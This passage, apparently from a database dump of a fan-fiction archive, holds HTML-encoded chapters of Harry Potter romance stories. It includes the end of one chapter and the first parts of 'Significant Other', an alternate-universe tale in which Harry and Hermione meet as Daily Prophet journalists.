them,</i></p>\n\n<p><i>&nbsp;never were revealed.</i></p>\n\n<p><i>&nbsp;So I made a promise to myself </i></p>\n\n<p><i>to</i><i> say each day how much she means to me.</i></p>\n\n<p><i>And</i><i> avoid that circumstance </i></p>\n\n<p><i>where</i><i> there&#8217;s no second chance, to tell her how I feel.</i></p>\n\n<p><i>Cause if tomorrow never comes, </i></p>\n\n<p><i>will</i><i> she know how much I loved her? </i></p>\n\n<p><i>Did I try in every way, to show her every day,</i></p>\n\n<p><i>That she&#8217;s my only one? </i></p>\n\n<p><i>And if my time on Earth were through, </i></p>\n\n<p><i>And</i><i> she must face this world without me,</i></p>\n\n<p><i>&nbsp;is the love I gave her in the past,</i></p>\n\n<p><i>&nbsp;gonna be enough to last,</i></p>\n\n<p><i>&nbsp;if tomorrow never comes?</i></p>\n\n<p><i>So tell that someone that you love, </i></p>\n\n<p><i>just</i><i> what you&#8217;re thinking of,</i></p>\n\n<p><i>If tomorrow never comes.&#8221; </i></p>\n\n<p>The singer&#8217;s voice faded, and Harry was overwhelmed by the grief that he had fought so hard to contain for so long. He buried his face in his hands and cried like someone that had suffered far more loss than any one person deserved. He felt two arms surround him and he was pulled into a shoulder, a soft voice making soothing sounds over his sobs.</p>\n\n<p>&#8220;Shh, Harry, it&#8217;s alright.&#8221;</p>\n\n<p>&#8220;I&#8212;I never told h&#8212;him h&#8212;how mu&#8212;much I&#8212;I cared,&#8221; Harry said, his voice catching and breaking. Hermione just held him tighter, pulling his head down to rest on her breast. He wanted to be embarrassed, sobbing like a child, but his feelings of loss and potential loss out weighed shame, and he just held her tight, his face buried in her chest.</p>\n\n<p>&#8220;Oh, Harry,&#8221; Hermione&#8217;s voice was choked up too, and she laid her head on top of his, crying as well.</p>\n\n<p>After a while, Harry&#8217;s sobs died down, and the tears stopped flowing. He pulled back and looked at Hermione. He reached up and wiped the tears from her cheeks with his thumbs.</p>\n\n<p>&#8220;That song made me realize that I have been taking my friends, you especially, for granted. I&#8217;ve never once told you how much I appreciate your help, and how much you mean to me.&#8221; Harry felt his throat closing up again, so he hurriedly said what was on his mind. &#8220;I lo&#8212;love you&#8212;all of you so much, and I want to make sure you all know that just in case, &#8216;tomorrow never comes,&#8217; you know?&#8221;</p>\n\n<p>&#8220;I understand, Harry.&#8221; Hermione said, regaining her composure. &#8220;I&#8217;ve been thinking a lot about the future too, and there is no guarantee that we&#8217;ll live to graduate. That&#8217;s a lot for kids our age to deal with, and I think that you and I are the only ones to fully realize this; I know Ron doesn&#8217;t.&#8221;</p>\n\n<p>&#8220;Yeah, he does seem to be focused on less important matters, doesn&#8217;t he,&#8221; Harry agreed, wiping his eyes. &#8220;Sometimes I think that if it weren&#8217;t for Quidditch, he&#8217;d have no reason to live.&#8221;</p>\n\n<p>Hermione laughed, &#8220;I know. He&#8217;s a great guy, but not that deep.&#8221;</p>\n\n<p>Harry cleaned his glasses, &#8220;He has his moments.&#8221;</p>\n\n<p>&#8220;But they&#8217;re few and far between,&#8221; she muttered.</p>\n\n<p>&#8220;That&#8217;s not nice, Hermione,&#8221; Harry admonished.</p>\n\n<p>Hermione made a face, &#8220;As much as he torments and ridicules me for my study habits and library time, he deserves it.&#8221;</p>\n\n<p>&#8220;Be that as it may, he is our friend.&#8221;</p>\n\n<p>&#8220;Then why does he treat me like he does? I swear, Harry, when we argue, he pulls no punches, he acts like I&#8217;m his worst enemy or something.&#8221;</p>\n\n<p>&#8220;I know,&#8221; said Harry. &#8220;You see the way he looked at me today? If looks could kill, I&#8217;d be a smoking spot outside on the lawn right now.&#8221;</p>\n\n<p>&#8220;I don&#8217;t get it, Harry, why was he acting that way?&#8221;</p>\n\n<p>Harry blushed; this part was going to be tricky. &#8220;I don&#8217;t think he likes you and me hanging out as much as we do.&#8221;</p>\n\n<p>Hermione looked highly affronted at this news. &#8220;Well, that&#8217;s just tough! He&#8217;ll have to get over it!&#8221;</p>\n\n<p>&#8220;I think he&#8217;s worried that you and I are trying to push him away, what with D.A. and Grawp and all.&#8221;</p>\n\n<p>&#8220;Harry, we can&#8217;t help that.&#8221;</p>\n\n<p>&#8220;I know that, but if we look at it from his perspective, it might look like we&#8217;re leaving him behind or something.&#8221;</p>\n\n<p>Hermione looked at him, her eyes wide and brows raised, &#8220;When did you start analyzing him so much?&#8221;</p>\n\n<p>Harry shrugged, &#8220;I&#8217;ve been analyzing everybody lately, it&#8217;s highly annoying.&#8221;</p>\n\n<p>&#8220;I bet,&#8221; Hermione laughed, &#8220;you&#8217;ve never liked introspection, and here you&#8217;ve been doing a ton of it.&#8221;</p>\n\n<p>&#8220;I know, it&#8217;s why I&#8217;ve been so open with you, why I&#8217;ve tried not to lose my temper with Ron, why I gave Neville the greenhouse, why I made sure to invite Luna today, and why I blew up at Ginny. I&#8217;m getting mightily sick of the whole bit,&#8221; Harry said, disgusted.</p>\n\n<p>&#8220;All this sharing must be just killing you,&#8221; Hermione smirked.</p>\n\n<p>&#8220;You have no idea.&#8221;</p>\n\n<p>&#8220;Want to discuss the D.A. stuff?&#8221;</p>\n\n<p>&#8220;Yeah, this introspection is depressing me.&#8221; Harry snapped his fingers as he suddenly remembered something, &#8220;Oh, damn, I still haven&#8217;t replied to McGonagall!&#8221;</p>\n\n<p>Hermione smiled, &#8220;Already taken care of, Harry.&#8221;</p>\n\n<p>&#8220;Wha&#8212;you?&#8221;</p>\n\n<p>&#8220;Of course, there was no need to trouble you with it, when you obviously needed time to yourself, so I wrote her and informed her that we were ecstatic about teaching again and honored that we would be treated as actual teachers, with wages and everything. I also took the liberty of filling out your class schedule request form.&#8221;</p>\n\n<p>&#8220;You what?&#8221; Harry got a sinking feeling deep in the pit of his stomach. &#8220;Hermione, please tell me that you didn&#8217;t put me in Potions.&#8221;</p>\n\n<p>&#8220;Sorry,&#8221; she squeaked.</p>\n\n<p>Harry contemplated getting angry, but decided it was no use. She hadn&#8217;t meant any harm. He blew out his breath in a violent sigh.</p>\n\n<p>&#8220;It&#8217;s alright. I suppose I can live through another two years of Potions.&#8221;</p>\n\n<p>&#8220;Take heart, Harry, with our teacher status Professor Snape may not be as harsh towards us.&#8221;</p>\n\n<p>Harry looked at her like she had grown a second head, &#8220;Yeah right, I&#8217;ll bet you he&#8217;s even worse, in fact, I&#8217;m so sure that he will be, that I&#8217;ll make you a deal. If he&#8217;s <i>not</i> as harsh or harsher towards us on the first day of Potions, or even the first time he sees us, I will wholeheartedly embrace S.P.E.W. and do whatever you want in relation to that.&#8221; </p>\n\n<p>Hermione&#8217;s eyes went wide, &#8220;That&#8217;s quite a bet!&#8221;</p>\n\n<p>&#8220;I&#8217;m confident.&#8221;</p>\n\n<p>&#8220;Well, in that case, if you win, I&#8217;ll&#8230;Oh, I don&#8217;t know what I&#8217;ll do for payment!&#8221;</p>\n\n<p>Harry grinned, &#8220;How about if I win, you agree to be my date for anything and everything requiring one, that way we both won&#8217;t have to worry about a repeat of 4<sup>th</sup> year, and you have to play at least one prank per week on the person of my choice.&#8221;</p>\n\n<p>&#8220;Harry!&#8221; Hermione&#8217;s face went red.</p>\n\n<p>&#8220;What? I figure that&#8217;s equal to me devoting myself to S.P.E.W..&#8221;</p>\n\n<p>Hermione blushed, &#8220;I-I guess that&#8217;s acceptable, but you do know this kinda kills me having any chance at a boyfriend, right?</p>\n\n<p>&#8220;I know, and sorry, but it also keeps me from having a girlfriend too, so you&#8217;re not alone.&#8221;</p>\n\n<p>&#8220;Harry, this is going to provide more fodder for the rumor mill.&#8221;</p>\n\n<p>&#8220;I know, but as long as we&#8217;re not actually snogging, then they really can&#8217;t say much.&#8221;</p>\n\n<p>&#8220;I suppose, and it is only a minor inconvenience for me because it&#8217;s not like guys are beating down my door for dates.&#8221;</p>\n\n<p>&#8220;And it&#8217;ll be fun!&#8221; Harry chuckled, pretending not to notice how her voice had gotten just a trifle bitter. &#8220;No one will ever suspect you of pulling a prank, it&#8217;ll be great!&#8221;</p>\n\n<p>&#8220;That&#8217;s only <i>if </i>you win.&#8221; She corrected.</p>\n\n<p>&#8220;Yeah, yeah, so are we on?&#8221;</p>\n\n<p>&#8220;Yeah, we&#8217;re on,&#8221; Hermione stuck out her hand and they shook on it. &#8220;And nobody is to know about this.&#8221;</p>\n\n<p>&#8220;I wouldn&#8217;t dream of sharing this with anybody.&#8221; He leaned closer, his eyes boring into hers.</p>\n\n<p>&#8220;Harry.&#8221; Hermione&#8217;s voice was husky, and Harry had the distinct impression that his plan for this year was going to go up in smoke if he kissed her.</p>\n\n<p>&#8220;What?&#8221; he asked. He was breathless with anticipation.</p>\n\n<p>&#8220;Wake up!&#8221;</p>\n\n<p>Harry awoke to Hermione&#8217;s voice calling to him as if from a great distance. He blinked his eyes sleepily and struggled to make out her face through vision that was again blurry. </p>\n\n<p>&#8220;Here you are.&#8221;</p>\n\n<p>He felt something slide along his face and suddenly she came into focus. She was smiling, Harry smiled back, but then found himself gazing past her and then he began to scream at the top of his lungs.</p>\n\n<p>TBC.</p>\n\n<p><i>Ain&#8217;t</i><i> that a hell of a cliffhanger? </i></p> '),
	(109, 1, '\n\n\n\n<p class="MsoNormal"><b>Title:</b> Significant Other (1/3)</p>\n\n<p class="MsoNormal"><b>Author\nname:</b> Kaori\nLily Marie Otome XIV</p>\n\n<p class="MsoNormal"><b>Author\ne-mail:</b>\nkaori@suite101.com</p>\n\n<p class="MsoNormal"><b>Category:</b> Astronomy Tower</p>\n\n<p class="MsoNormal"><b>Keywords:</b> H/Hr, Fluff, AU</p>\n\n<p class="MsoNormal"><b>Rating:</b> PG</p>\n\n<p class="MsoNormal"><b>Spoilers:</b> It&#8217;s good to be familiar with\nall the books but there aren&#8217;t really any spoilers</p>\n\n<p class="MsoNormal"><b>Summary:</b> H/Hr AU. In what seemed to\nbe a perfect world, would these two, Harry and Hermione, find each other and\nfall in love? Like the way it was meant to be? Or was it really all changed and\nnothing would be the same? Maybe.</p>\n\n<p class="MsoNormal"><b>Disclaimer:</b> This story is based on\ncharacters and situations created and owned by JK Rowling, various publishers\nincluding but not limited to Bloomsbury Books, Scholastic Books and Raincoast\nBooks, and Warner Bros., Inc. No money is being made and no copyright or\ntrademark infringement is intended.</p>\n\n<p class="MsoNormal"><b>Author&#8217;s\nNotes:</b> This\nwas first posted in HMS Pumpkin Pie, and as usual, dedicated to them. Sorry it\ntook long for only a three part story. I was so busy in RL. ::sighs:: the world\nis very complicated sometimes. Heh&#8230; now only if I could finish the other\nficlet!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>--Significant\nOther--</b></p>\n\n<p class="MsoNormal">By\nKaori Lily Marie Otome XIV</p>\n\n<p class="MsoBodyText">Dedicated to the HMS Pumpkin Pie, SS Thorn and Buck, and\nmy friend Clara who made the plot bunny to this story.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Part\nOne: Changes</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">It was all changed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When\nthe infamous Harry Potter had defeated the evil of Lord Voldemort an unexpected\nthing happened. The world started over.</p>\n\n<p class="MsoNormal">Tom\nMarvolo Riddle was never born. He died along with his mother when she was\ntrying to give birth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Events\nnever happened, such as the death of Lily and James Potter or Cedric Diggory.\nThere was no dark side. There were dark wizards but no sides. Yes, there was\nstill hatred -- nothing could change that -- but there was peace for the most\npart. Harry Potter was never famous, he was a normal person at last. Sirius\nBlack was never convicted, Colin Creevy never had a taken any pictures with\nhim, and he never lived with the Dursleys. Though Harry was not that happy, he\nwasn\'t relieved. He couldn\'t remember his old life, so how could he know that\nhe should\'ve been feeling liberated?</p>\n\n<p class="MsoNormal">Many\nbad things were exchanged with good outcomes.</p>\n\n<p class="MsoNormal">But\nthere experiences that were not so beneficial. Harry Potter did meet Ron\nWeasley in Hogwarts but they never met Hermione Granger. She had gone to\nanother school. An all girls witchcraft school. Also Severus Snape had never\nchanged sides but he still hated Harry - some things just won\'t change. Yet\nHarry had no problem with this.</p>\n\n<p class="MsoNormal">Yes,\nhe had expectations while he attended Hogwarts. Not ones of fame and the burden\nof defeating the most terrible dark wizard of their time but ones of academic\nadvancement and humorous pranks. A lot was undeniably different.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nhad already graduated and working part-time at the Daily Prophet until he found\na more permanent occupation. Finding a career was no easier than it ever was.\nHe and Ron were roommates in a pent house in London. It was right near Diagon\nAlley so it wasn\'t far from work. The Daily Prophet had an office in there so\nit was more than just a little convenient.</p>\n\n<p class="MsoNormal">It\nwas somewhat easy; he didn\'t really need a prosperous career - his parents had\ninherited money and he owned half of that. He never suspected it was once all\nhis. He just worked as a journalist reporting any exciting news. His articles\nwere often on the front page.</p>\n\n<p class="MsoNormal">There\nwere some inconveniences to the job too. He had clashed into Rita Skeeter many\ntimes. The woman seemed to loathe him. Well, it didn\'t matter. No one at the\nDaily Prophet liked her anyway. There was also Colin Creevy, who was nice\nenough, just too engrossed into worshipping celebrities. He was only lucky to\nreceive the occupation of photographer (and Colin was the one who took the\npictures corresponding to Harry\'s articles).</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was\na new life... yet some things were better left alone... but somehow some things\nthat were truly meant to be would find themselves piecing together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;...and\nThe Chudley Cannons will be using Firebolts against the Sweetwater All-Stars in\nthe next world cup,&quot; Harry recited as he finished typing down his article\non his typewriter. He shook his head in still mild disbelief.</p>\n\n<p class="MsoNormal">Ron,\nsitting on one of the kitchen tables, was grinning widely. &quot;See?&quot; he\nteased, &quot;I told you they\'re the best!&quot;</p>\n\n<p class="MsoNormal">&quot;Well,\nthey still have to beat the Sweetwater All-Stars,&quot; Harry reasoned,\nfrowning.</p>\n\n<p class="MsoNormal">&quot;Yeah,\nyeah... but the Sweetwater All-Stars have got to be thick... I mean it...\nSweetwater? What a wimpy name.&quot; Ron was just being himself.</p>\n\n<p class="MsoNormal">&quot;Don\'t\nunderestimate people Ron,&quot; Harry said pointedly, getting up from his chair\nand sorting his pages.</p>\n\n<p class="MsoNormal">&quot;Eh..\nAmericans,&quot; Ron said.</p>\n\n<p class="MsoNormal">Harry\nshook his head in half amusement and half discountenance. &quot;Well, I\'ve got\nto go submit this,&quot; Harry laughed. He took his papers and bag. &quot;See\nyou later!&quot; he waved as he exited.</p>\n\n<p class="MsoNormal">&quot;Yeah,\nlater!&quot; Ron said nonchalantly as he continued to watch the television\nwhich Harry bought.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nentered the Leaky Cauldron with simple but friendly hellos. He was still a\npopular fellow nevertheless - fame wasn\'t really needed. He was kind of in a\nhurry so he rushed into the back and got out his wand. Diagon was quite busy\nand filled with many children since it was soon to be September first. He\nsmiled as he remembered his own little shopping spree. It wasn\'t as special as\nit was in his other life but special nonetheless.</p>\n\n<p class="MsoNormal">He\nentered a busy office where people were mostly running around. Harry clutched\nhis report tightly, trying not to lose it in the crowded office.</p>\n\n<p class="MsoNormal">Yet\nit was hopeless as someone else had run crashing into him. Papers flew and\nchaos seemed to have erupted. Two voices intertwined as they gasped, &quot;Oh\nno!&quot;</p>\n\n<p class="MsoNormal">Harry\nlooked horrified as the final paper reached the floor and the woman who ran\ninto him was revealed.</p>\n\n<p class="MsoNormal">Bight\ngreen eyes met honey brown. The woman blinked at him then gasped. Her hands\nclasped her mouth and she apologized, &quot;Oh! I\'m so, so, so sorry!&quot;</p>\n\n<p class="MsoNormal">Harry\ngot up and sighed, &quot;It\'s all right... here,&quot; he helped her up and\nkeep telling her, &quot;It\'s okay... really! No, it\'s okay...&quot;</p>\n\n<p class="MsoNormal">&quot;Are\nyou sure?&quot; she asked, uncertain.</p>\n\n<p class="MsoNormal">&quot;Yeah,\nit\'s all right,&quot; Harry nodded and started picking up his own papers.\n&quot;Harry Potter by the way.&quot;</p>\n\n<p class="MsoNormal">The\nwoman followed suit and answered, &quot;Hermione Granger. Oh! You\'re Harry\nPotter! I like your news articles... though you need to work on your grammar a\nlittle.&quot;</p>\n\n<p class="MsoNormal">Harry\nfrowned, &quot;Er.. right. Do I know you? Maybe from Hogwarts?&quot;</p>\n\n<p class="MsoNormal">Hermione\nshook her head. &quot;You can\'t have. I didn\'t go to Hogwarts.&quot;</p>\n\n<p class="MsoNormal">&quot;Oh,&quot;\nHarry\'s eyebrows furrowed. This woman was familiar but why? &quot;Are you new\nhere?&quot;</p>\n\n<p class="MsoNormal">&quot;Yes,\nan intern you could say,&quot; she shrugged, apparently, having collected all\nher pages. &quot;I\'ll see you again?&quot;</p>\n\n<p class="MsoNormal">&quot;Er...\nokay,&quot; Harry breathed. He picked up his last paper. &quot;Well, I\'ll you\naround..&quot; he quickly walked off, a bit embarrassed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry,\nwhere have you been? You\'re going to miss your deadline on that!&quot; Colin\nsaid when Harry entered his office.</p>\n\n<p class="MsoNormal">&quot;Yeah,\nyeah.. I just had a small accident,&quot; Harry grumbled. He set his report on\nhis desk and sat down.</p>\n\n<p class="MsoNormal">&quot;Oh,\nhave you seen the new intern?&quot; Colin eagerly asked.</p>\n\n<p class="MsoNormal">&quot;Oh\nyeah. Hermione Granger?&quot;</p>\n\n<p class="MsoNormal">Colin\nnodded, &quot;Yeah. People who knew her in school say she looks really\ndifferent. I think she\'s pretty. She\'s nice too but kind of a\nknow-it-all...&quot;</p>\n\n<p class="MsoNormal">&quot;Er...\nyeah. I\'m going to turn in my article now... see you Colin.&quot;</p>\n\n<p class="MsoNormal">&quot;Uh-huh..&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh,\nMiss Granger, you\'re submitting your article too?&quot; Harry asked when he saw\nher in their manager\'s office.</p>\n\n<p class="MsoNormal">&quot;Yep,&quot;\nHermione sighed. &quot;I hope it\'s good enough...&quot;</p>\n\n<p class="MsoNormal">&quot;I\'m\nsure it is..&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">End\nPart One...</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">END\nOF CHAPTER</p>\n\n\n\n\n\n\n'),
	(109, 2, '\n\n\n\n<p class="MsoNormal"><b>Title:</b> Significant Other (2/3)</p>\n\n<p class="MsoNormal"><b>Author\nname:</b> Kaori\nLily Marie Otome XIV</p>\n\n<p class="MsoNormal"><b>Author\ne-mail:</b>\nkaori@suite101.com</p>\n\n<p class="MsoNormal"><b>Category:</b> Astronomy Tower</p>\n\n<p class="MsoNormal"><b>Keywords:</b> H/Hr, Fluff, AU</p>\n\n<p class="MsoNormal"><b>Rating:</b> PG</p>\n\n<p class="MsoNormal"><b>Spoilers:</b> It&#8217;s good to be familiar\nwith all the books but there aren&#8217;t really any spoilers</p>\n\n<p class="MsoNormal"><b>Summary:</b> H/Hr AU. In what seemed to\nbe a perfect world, would these two, Harry and Hermione, find each other and\nfall in love? Like the way it was meant to be? Or was it really all changed and\nnothing would be the same? Maybe.</p>\n\n<p class="MsoNormal"><b>Disclaimer:</b> This story is based on characters\nand situations created and owned by JK Rowling, various publishers including\nbut not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and\nWarner Bros., Inc. No money is being made and no copyright or trademark\ninfringement is intended.</p>\n\n<p class="MsoNormal"><b>Author&#8217;s\nNotes: </b>This\nwas first posted in HMS Pumpkin Pie, and as usual, dedicated to them. Sorry it\ntook long for only a three part story. I was so busy in RL. ::sighs:: the world\nis very complicated sometimes. Heh&#8230; now only if I could finish the other\nficlet!<b></b></p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><b>--Significant\nOther--</b></p>\n\n<p class="MsoNormal">By\nKaori Lily Marie Otome XIV</p>\n\n<p class="MsoBodyText">Dedicated to follower_of_voldemort and to Mimi S. Wood,\nwho\'s recently a new HP fan.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Part\nTwo: Fate</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">Some things don\'t change.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">More\nthan half of her life was completely changed. She still had the same ten years\nof her life then... she didn\'t get a Hogwarts letter. She had received another\nletter first. For Madam Michelle\'s Witchcraft Academy. Hermione accepted, not\nknowing she\'d get another letter later. She had to turn down Hogwarts, though\nshe wanted to go after she\'d gotten the letter. She couldn\'t though. It was\njust too late. She did not meet Harry Potter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Yet\nshe still graduated the top of her class. She had a perfect record, since Harry\nand Ron never had put her into trouble. She did feel a longing for friends. She\nwas lonely. She had no friends in that school. In the way Harry\'s life changed\nfor the better, hers was the antonym. Only she couldn\'t know how her life was\nworse.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Though\nthings that were meant to be will happen. Mostly. It would just figure that\nHermione would run into Harry Potter in her new career. Coincidence? Perhaps...\nor maybe fate?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nGranger sighed as her stomach grumbled. She hadn\'t eaten breakfast yet. She\nheld her report tightly. It was her first day of the job and she was quite\nnervous if her work was good enough or not. She touched her stomach with her\nother hand. She felt so starved. \'I knew I should\'ve just taken something\' she\nscolded herself.</p>\n\n<p class="MsoNormal">The\nfirst day! She didn\'t think she could be anymore nervous. She was much calmer\nat her graduation than now. Then she had to actually recite her speech but now\nall she had to do was hand the report to the editor. Hermione didn\'t get it.\nWhy did everything have to be so complicated? Most girls she knew from school\nknew her as the busy-haired know-it-all that didn\'t need to ask questions. That\nwasn\'t true though. She did ask questions. Deep questions. She didn\'t ask it to\nanyone aloud.</p>\n\n<p class="MsoNormal">She\nsat on a bench inside the Daily Prophet office. This was odd for her but she\nfound that, during that past decade of this life, that things are not normal.\nOf course, that all depends on one\'s definition of normal. Okay, ordinary\nsuited it more. Yes, things weren\'t ordinary.</p>\n\n<p class="MsoNormal">She\nglanced at her passage and groaned in frustration. A mistake! Oh this wasn\'t\nfair! It was the third time she had to correct something. She got up fast. Her\nhead swirled because it was just a tad to fast. She shook her head to stop the\ndizziness.</p>\n\n<p class="MsoNormal">Rushing\nto go out again, she realized that the office was extremely crowded. The only\nshe\'d get there in time was if she ran. So she did.</p>\n\n<p class="MsoNormal">She\nsaw blurs of color passing by but she was careful not to bump into anyone or\nanything. That was until she did. Her hold on the pages loosened and the papers\nflew off. The force of the collision caused her to fall to the floor and so did\nthe person she bumped into. Hermione gasped realizing that her hours of\norganizing were ruined. &quot;Oh no!&quot; She gasped. To her surprised the\nother said it at the same time.</p>\n\n<p class="MsoNormal">She\nsat there waiting till the last of the papers flew down to the mess of papers.\nHermione\'s eyes stared at it as it fell and when it reached the ground her eyes\nmet two bright green ones. Her knees felt weak. Those eyes. She knew those\neyes. But where?</p>\n\n<p class="MsoNormal">Then\na realization dawned on her! Her papers! And probably the man\'s too for there\nwere more pages on the ground than she had. Oh no! How could she be so clumsy?</p>\n\n<p class="MsoNormal">&quot;Oh!\nI\'m so, so, so sorry!&quot; Hermione looked terrified. Messing up so much on\nthe first day! What else could go wrong?</p>\n\n<p class="MsoNormal">The\nman got up by himself and uncomfortably held out a hand to her. &quot;It\'s all\nright,&quot; he said. Hermione took his hand and he helped her bring herself\nup. Hermione still kept apologizing though. &quot;It\'s okay... really it\nis!&quot;</p>\n\n<p class="MsoNormal">&quot;Are\nyou sure? I mean like-&quot;</p>\n\n<p class="MsoNormal">&quot;No,\nit\'s okay.&quot;</p>\n\n<p class="MsoNormal">&quot;Are\nyou sure?&quot; Hermione asked again.</p>\n\n<p class="MsoNormal">He\nnodded carefully. &quot;Yeah, it\'s all right.&quot; His voice was kind and\nsincere and Hermione felt like she could trust him right away. He bent down and\nstarted gathering his own papers. &quot;Harry Potter by the way,&quot; He told\nher. Hermione suppose he was saying his name.</p>\n\n<p class="MsoNormal">&quot;Hermione\nGranger,&quot; Hermione responded. \'Wait, Harry Potter?\' &quot;Oh! You\'re Harry\nPotter? I like your news articles! Though you do need to work on your grammar a\nlittle.&quot; She was still like that. Always wanting to correct people. Was it\nher fault that she could notice mistakes?</p>\n\n<p class="MsoNormal">Harry\nfrowned, a little disappointed with her statement. He seemed more uncomfortable\nthan ever. &quot;Er... right. Do I know you? Maybe from Hogwarts?&quot;</p>\n\n<p class="MsoNormal">Hermione\nshook her head. She wished! Only if... &quot;You can\'t have. I didn\'t go to\nHogwarts.&quot; Oh but how she wished she did! It was the best wizarding school\nshe knew... oh why did she have to apply for Madam Michelle\'s Witchcraft\nAcademy? Why didn\'t she wait for Hogwarts? Regrets often flooded her and she\nbraved through it still. She gathered up the remaining pages on the ground.</p>\n\n<p class="MsoNormal">&quot;Oh,&quot;\nHarry said. More disappointment. Why on earth was he giving her that odd look\nlike she was lying? She wasn\'t! She never set foot upon that wizarding school!\n&quot;Are you new here?&quot; Hermione was thankful that he didn\'t interrogate\nher. She relaxed and remembers that Harry wasn\'t in charge of the place and\ncouldn\'t fire her. &quot;An intern you could say,&quot; she told him.\n&quot;I\'ll see you again?&quot; \'Huh?\' she thought, \'Where did THAT come from?\'\nshe barely knew the man for longer than two minutes!</p>\n\n<p class="MsoNormal">&quot;Er\nokay,&quot; he said. He noticed one last page on the floor. It wasn\'t\nHermione\'s so he picked it up. &quot;Well, I\'ll see you around then.&quot; He\nwalked off. What was with him?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nblushed when she reached her home in Muggle London. She lived in a flat all to\nherself, proving that she was quite alone. She quickly wand, which she left\naccidentally, and fixed her mistakes once and for all. She kept forgetting her\nwand lately. She didn\'t know why. She wasn\'t usually so clumsy or forgetful...\nwhat was happening to her? It was like her life was split in two. Oh how weird!</p>\n\n<p class="MsoNormal">It\nwasn\'t fair. It wasn\'t her fault this was all happening. The world, no matter\nhow different, was still cruel.</p>\n\n<p class="MsoNormal">\'Evil!\nEvil world!\' Hermione scorned before running back to Diagon Alley.</p>\n\n<p class="MsoNormal">As\nshe entered the office panting heavily, Hermione glanced at her wrist-watch.\nAlmost her deadline. Oh great! She rushed to the Editor\'s office, apologizing\nto people she ran into and saying \'excuse me\'s repeatedly. She entered the\nEditor\'s office shaky and nervous.</p>\n\n<p class="MsoNormal">&quot;Relax\nmiss Granger,&quot; The Editor said at his desk. &quot;Your article?&quot;</p>\n\n<p class="MsoNormal">&quot;Oh\nyeah!&quot; Hermione handed him the papers. &quot;Sorry if there\'s\nmistakes...&nbsp; I was sort of\nrushing.&quot;</p>\n\n<p class="MsoNormal">&quot;That\'s\nall right Miss Granger. Your spelling seems perfect enough.&quot;</p>\n\n<p class="MsoNormal">&quot;Oh,&quot;\nHermione blushed.</p>\n\n<p class="MsoNormal">The\ndoor opened and in came Harry Potter. Hermione\'s heart seemed to flutter. Oh\nno... this couldn\'t be happening to her, could it? She couldn\'t be! She\nwasn\'t... in love. Was she?</p>\n\n<p class="MsoNormal">He\nseemed to notice her immediately. &quot;Oh Miss Granger, you\'re submitting your\narticle too?&quot;</p>\n\n<p class="MsoNormal">&quot;Yep,&quot;\nHermione said. &quot;I hope it\'s good enough.&quot;</p>\n\n<p class="MsoNormal">Harry\ngave her a grin that made her want to melt. &quot;I\'m sure it is...&quot;</p>\n\n<p class="MsoNormal">Hermione\nnodded appreciatively.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As\nit was meant to be... the two met. The only thing that was missing was...</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">End\nPart Two...</p>\n\n\n\n\n\n\n'),
	(109, 3, '\n\n\n\n<p class="MsoNormal"><b>Title:</b> Significant Other (3/3)</p>\n\n<p class="MsoNormal"><b>Author\nname:</b> Kaori\nLily Marie Otome XIV</p>\n\n<p class="MsoNormal"><b>Author\ne-mail:</b>\nkaori@suite101.com</p>\n\n<p class="MsoNormal"><b>Category:</b> Astronomy Tower</p>\n\n<p class="MsoNormal"><b>Keywords:</b> H/Hr, Fluff, AU</p>\n\n<p class="MsoNormal"><b>Rating:</b> PG</p>\n\n<p class="MsoNormal"><b>Spoilers:</b> It&#8217;s good to be familiar with\nall the books but there aren&#8217;t really any spoilers</p>\n\n<p class="MsoNormal"><b>Summary:</b> H/Hr AU. In what seemed to\nbe a perfect world, would these two, Harry and Hermione, find each other and\nfall in love? Like the way it was meant to be? Or was it really all changed and\nnothing would be the same? Maybe.</p>\n\n<p class="MsoNormal"><b>Disclaimer:</b> This story is based on\ncharacters and situations created and owned by JK Rowling, various publishers\nincluding but not limited to Bloomsbury Books, Scholastic Books and Raincoast\nBooks, and Warner Bros., Inc. No money is being made and no copyright or\ntrademark infringement is intended.</p>\n\n<p class="MsoNormal"><b>Author&#8217;s\nNotes:</b>&nbsp;This\nwas first posted in HMS Pumpkin Pie, and as usual, dedicated to them. Sorry it\ntook long for only a three part story. I was so busy in RL. ::sighs:: the world\nis very complicated sometimes. Heh&#8230; now only if I could finish the other\nficlet!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>--Significant\nOther--</b></p>\n\n<p class="MsoNormal">By\nKaori Lily Marie Otome 